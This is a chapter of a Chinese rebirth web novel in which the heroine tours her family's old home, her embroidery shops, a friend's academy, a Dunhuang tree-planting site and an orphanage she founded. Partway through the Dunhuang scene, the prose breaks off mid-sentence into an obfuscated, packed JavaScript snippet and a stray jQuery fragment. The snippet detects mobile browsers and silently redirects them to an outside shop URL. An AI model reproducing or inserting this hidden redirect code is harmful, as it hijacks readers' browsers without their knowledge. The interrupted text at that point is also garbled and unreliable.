从京城回岭南的第三个月,我发现自己没有再重生。
每天早上醒来,还是柳如棠的身体,还是安王府的拔步床。日子一天一天往前走,没有倒回去。秋天过了是冬天,冬天过了是春天。三棵桂花树落了叶又发了芽,秋千上的绳子换了新的,木鸟的翅膀被太阳晒得发了白。
系统没有再出现。那个冷冷的声音消失了,像从来没有存在过一样。
“柳白白。”安王坐在廊下喝药,看着天井里的桂花树,“你今天想做什么?”
“我想出去走走。”
“去哪里?”
“哪里都行。”
安王放下药碗,看着我。
“那就去。”
三天后,我出了远门。安王留在岭南,沐南王跟着我。
“你不用跟着我。”
“我不放心。”沐南王说,“你一个人走,万一出事。”
“我能出什么事?系统都没了。”
“没有系统,还有土匪,还有骗子,还有坏人。”他收拾了一个包袱,背在肩上,“我跟着你。”
我看着他。他穿着一件半旧的玄色袍子,头发束得整齐,下巴刮得干净。他的眼睛很亮,像以前一样。
“好。你跟着。”
第一站,去了柳氏的老家。
柳氏的老家在青州,一个靠海的小城。柳妃和柳明的祖宅在那里,二十多年前满门抄斩之后,宅子被官府收走,后来几经转手,成了一家客栈。
我站在客栈门口,看着那块牌匾。牌匾是新的,写着“悦来客栈”。可门前的石狮子还是旧的,狮子上有一个缺口,是当年抄家时砸的。
“柳白白。”沐南王站在我旁边。
“嗯。”
“你进去吗?”
“进去。”
客栈的掌柜是个胖胖的中年人,听说我要住店,热情地招呼。我问他这宅子的来历,他说是二十年前从一个姓柳的人手里买的。姓柳的急着用钱,卖得很便宜。
“那个姓柳的,叫什么?”
“不知道。他也没说。拿了钱就走了。”
我在客栈住了三天。每天在院子里走来走去,看那些旧柱子、旧窗棂、旧地砖。有一根柱子上刻着一朵兰花,刻得很浅,像是不小心划上去的。
“这是柳妃刻的。”我说。
沐南王走过来,看了看那朵兰花。
“你怎么知道?”
“柳妃喜欢兰花。柳明喜欢桂花。我喜欢什么?”我看着那朵兰花,“我不知道。”
“你喜欢桂花。”沐南王说,“你身上有桂花香。”
“那是你们说的。”
“我说的就是真的。”
我笑了。在客栈的第三天,我找到了柳氏的一个远房族人。是个七十多岁的老太太,住在城郊,靠绣花为生。她的手艺很好,绣的兰花和柳明的一模一样。
“你是柳家的人?”老太太看着我,眼睛红了,“柳家还有人?”
“有。我叫柳白白。柳明的女儿。”
老太太哭了。她拉着我的手,絮絮叨叨地说柳家的事。柳妃入宫前,在院子里种了一棵桂花树。柳明喜欢在桂花树下绣花。柳家的男人都是读书人,没做过官,但都是秀才。满门抄斩那天,柳家的桂花树被砍了。
“那棵桂花树,还在吗?”
“不在了。可我在院子里种了一棵新的。”
“你能带我去看看吗?”
老太太带我去看了。院子里有一棵桂花树,不大,但活得很好。树下摆着一张石桌,两个石凳。桌上放着一方绣帕,绣着兰花。
“这是柳明绣的。”老太太说,“她走的时候留给我的。她说如果柳家还有人回来,就交给他。”
我接过绣帕。帕子是旧的,边角磨白了,但兰花还是清晰的。针脚细密,花瓣上多绕了一圈线。
柳明的绣法。
“老太太,您叫什么?”
“我叫柳淑兰。按辈分,你是我的侄孙女。”
“柳奶奶。”
“哎。”老太太应了一声,眼泪又掉下来。
我在青州住了半个月。每天去柳淑兰家,跟她学柳家的绣法。她教得很认真,我学得也认真。半个月后,我绣了一方帕子,兰花,桂花,两朵并排。
“这是柳家的绣法。”柳淑兰看着帕子,点头,“你学成了。”
“柳奶奶,我想把柳家的绣法传下去。”
“传下去?”
“对。我有一间绣坊,叫柳绣坊。在京城、苏州、杭州都有分号。我想在青州也开一间,让柳家的绣法回到老家。”
柳淑兰看着我,很久。
“好。好。”她拍着我的手,“柳家有你,是柳家的福气。”
从青州出来,一路往南。
路过苏州的时候,去了柳绣坊的分号。沈绣在。她老了,头发白了,眼睛花了,但还在绣花。她看见我,笑了。
“姑娘,你来了。”
“沈姐姐,你还在绣。”
“绣了一辈子了。不绣难受。”她放下针线,看着我,“姑娘,你瘦了。”
“我胖了。岭南的桂花糕吃多了。”
“你上次也这么说。”
“上次是真的。”
沈绣笑了。她带我去看了新的绣娘。十几个小姑娘,最小的十岁,最大的十五岁。她们坐在绣架前,手里绷着帕子,针线上下翻飞。
“她们绣的是什么?”
“兰花。桂花。双面绣。”
“柳家的绣法?”
“对。姑娘上次寄来的绣谱,我抄了一份,教给她们。”
我看着那些小姑娘。她们的手很小,但针脚很稳。花瓣上多绕了一圈线,是柳明的绣法。我站在门口,看了很久。
“沈姐姐。”
“嗯。”
“谢谢你。”
“谢我什么?”
“谢你守了柳绣坊这么多年。”
沈绣笑了。
“姑娘,是你给了我一个家。我守着,是应该的。”
在苏州住了三天,去了杭州。杭州分号比苏州的还大。沈绣的女儿阿桂在管着。她今年二十岁了,圆脸,眉眼温和,绣花的手艺比沈绣还好。
“柳姨。”她叫我。
“阿桂,你娘说你绣了一幅屏风。”
“嗯。双面绣。一面是西湖,一面是雷峰塔。”
“让我看看。”
她带我去看了。屏风很大,有两米高,一米宽。一面绣着西湖的春景,柳树、画舫、断桥。另一面绣着雷峰塔,塔身、塔尖、塔下的白娘子。两面不一样,但针脚一模一样。
“阿桂,这幅屏风,你绣了多久?”
“三年。”
“三年?”
“嗯。我娘说,柳家的绣法不能急。一针一针绣,绣到心里去。”
我看着那幅屏风。西湖的水光从窗外照进来,照在屏风上,雷峰塔的影子落在西湖上,像真的一样。
“阿桂,你绣得比你娘还好。”
“我娘说,我像你。”
“像我?”
“嗯。我娘说,你绣花的时候,眼睛里有光。我也有。”
我笑了。在杭州住了五天,去了陆裴林的书院。他在西湖边,一座小院子,三间屋,一个天井。天井里种着一棵桂花树,树下摆着桌案,上面摊着书。
“柳白白。”他看见我,笑了,“你来了。”
“陆裴林,你还在教书?”
“教。教了十年了。教出了十几个秀才,三个举人。”
“有状元吗?”
“还没有。”他摇头,“不过我有个学生,今年十五岁,文章写得不错。明年去考,说不准能中。”
“那你的阿蘅呢?”
“她愿意了。”他笑了,笑得很轻,“去年秋天,她说她愿意了。我们成婚了。她女儿叫我爹。我给她女儿改名叫陆桂。”
“陆桂?桂花?”
“对。她说她喜欢桂花。”
我坐在桂花树下,他给我倒了茶。茶是龙井,香得很。
“陆裴林,你还想回家吗?”
“不想了。”他说,“家在这里。阿蘅在这里,陆桂在这里。书院在这里。西湖在这里。桂花树在这里。”
“你爸妈呢?”
他沉默了一会儿。
“我想他们。”他说,“可我知道,回不去了。我在这里活了十年,教了十年书。我活得比在现代还像个人。他们如果知道,会替我高兴的。”
“陆裴林,谢谢你。”
“谢我什么?”
“谢你当年娶我。虽然是名义上的。”
他笑了。
“柳白白,你这个人,真是……”
“真是怎样?”
“真是让人拿你没办法。”
从杭州出来,一路往西。
过了秦岭,过了河西走廊,过了嘉峪关。路越来越荒,天越来越阔。到了敦煌的时候,已经是秋天了。戈壁滩上的风很大,吹得人睁不开眼。
“柳白白,你来这里做什么?”沐南王问我。
“种树。”
“种什么树?”
“胡杨。”
“胡杨?”
“嗯。胡杨能在沙漠里活,活一千年不死,死了一千年不倒,倒了一千年不朽。”
“你从哪里知道的?”
“上一世。在宫里看折子的时候,看到过一份关于西北的折子。说沙漠在扩大,良田在减少。要种树,种胡杨。”
沐南王看着我,很久。
“你这个人,真是……”
“真是怎样?”
“真是跟别人不一样。”
我笑了。我们在敦煌城外找了一块荒地,雇了十几个当地人,开始种树。胡杨苗是从附近的林场买的,一株一株栽下去,浇上水,培上土。
“柳白白,这树能活吗?”
“能活。胡杨耐旱,只要浇一次水,根就能往下扎。”
“扎多深?”
“扎到有水的地方。有时候要扎十几米。”
沐南王看着那些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938781|213808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小小的树苗,沉默了一会儿。
“你像胡杨。”
“什么?”
“你像胡杨。换了五具身体,走了五个地方。不管到哪里,都能活。”
我看着他。他站在戈壁滩上,玄色的袍子被风吹得猎猎作响,头发被吹乱了,脸上有土。他瘦了很多,但眼睛还是亮的。
“沐南王。”
“嗯。”
“你以前不是这样的。”
“以前是以前。”
“以前你只会站在城楼上,看着下面的人。你不会种树,不会浇土,不会站在戈壁滩上吹风。”
“以前我只会想你。”他说,“想你怎么还不回来。想你为什么选安王不选我。想我哪里做错了。我想了四世,等了三世。我想累了。现在不想了。”
“现在想什么?”
“现在想种树。”他弯腰把一棵歪了的树苗扶正,“你种树,我浇水。你走到哪里,我跟到哪里。你种树,我就种树。你种胡杨,我也种胡杨。”
我看着他弯腰的背影,鼻子有点酸。
在敦煌种了一个月的树。种了一百多棵胡杨。每天浇水,培土,防风。沐南王学会了种树,也学会了挖坑、挑水、修枝。他的手磨出了茧,脸晒黑了,但精神比在京城的时候好了很多。
临走那天,我站在那片胡杨林前,看了很久。
“柳白白,走了。”
“等一下。”
我蹲下来,在最大的一棵胡杨树苗旁边,放了一块石头。石头上刻着一行字:
“柳白白种。永安八年。”
“这是什么?”
“留个记号。”我说,“等以后有人路过,知道这里有人种过树。”
“谁会路过沙漠?”
“总会有人路过的。”
从敦煌出来,一路往东,到了兰州。
兰州城外有一个小镇,叫柳家镇。镇上有一个孤儿院,叫柳氏孤儿院。是我两年前托人建的,用的是柳绣坊赚的银子。
“柳白白,你什么时候建的孤儿院?”沐南王问我。
“两年前。在宫里的时候,看折子看到西北有很多孤儿。父母死于战乱、饥荒、瘟疫。没人管,流浪在街上。我就托沈绣在兰州建了一所孤儿院。”
“你为什么不自己来?”
“我来不了。我在宫里,走不开。后来重生了,又忘了这件事。前些日子想起来,过来看看。”
孤儿院在镇子东边,一座三进的院子。院子里有教室、宿舍、厨房、绣房。几十个孩子在里面,大的十几岁,小的两三岁。
“柳姑娘。”院长姓周,是个四十来岁的妇人,以前是兰州的绣娘,“您来了。”
“周姨,孩子们怎么样?”
“好。去年收了三十个。今年又收了二十个。有吃有穿,还能学绣花。”
“带我去看看。”
周姨带我去看了教室。十几个孩子坐在里面,跟着一个老先生念书。念的是《三字经》,声音朗朗的。隔壁的绣房里,十几个女孩子在绣花。绣的是兰花、桂花、双面绣。
“这些孩子,都是柳绣坊的学徒?”
“对。大一点的学绣花,小一点的学认字。等她们长大了,能进柳绣坊做工。不想做绣娘的,也可以去别的地方。”
我看着那些孩子。她们的手很小,但针脚很稳。花瓣上多绕了一圈线,是柳明的绣法。
“周姨,柳家的绣法,你教给她们了?”
“教了。姑娘上次寄来的绣谱,我抄了一份,教给她们。”
“她们学得会吗?”
“学得会。有个小姑娘,叫阿柳,今年十二岁,绣得特别好。双面绣,一面是猫,一面是鱼。猫看着鱼,鱼看着猫。”
我走到绣房门口。阿柳坐在绣架前,手里绷着帕子,针线上下翻飞。她的眼睛很亮,像沈绣,像阿桂,像陆裴林的阿蘅。
“阿柳。”
她抬起头看我。
“姐姐,你是谁?”
“我叫柳白白。这间孤儿院,是我建的。”
“你是柳姐姐?”她站起来,跑过来,拉着我的手,“周姨说,柳姐姐在京城,在宫里,是女官。你怎么来了?”
“我来看看你们。”
“柳姐姐,你看我绣的。”她把帕子递给我。帕子上绣着一朵兰花,一朵桂花。兰花在左,桂花在右,两朵并排。
“绣得真好。”
“周姨说,这是柳家的绣法。柳姐姐,什么是柳家?”
我想了想。
“柳家是一个家族。以前有很多人,后来没了。现在又有了。”
“我也是柳家的吗?”
“你是柳家的。你叫阿柳,你绣柳家的花。你就是柳家的。”
阿柳笑了。她拉着我的手,带我去看了她的床、她的柜子、她的碗。她在孤儿院住了三年,把这里当成了家。
“柳姐姐,你以后还来吗?”
“来。每年都来。”
“那我每年都给你绣一方帕子。”
“好。”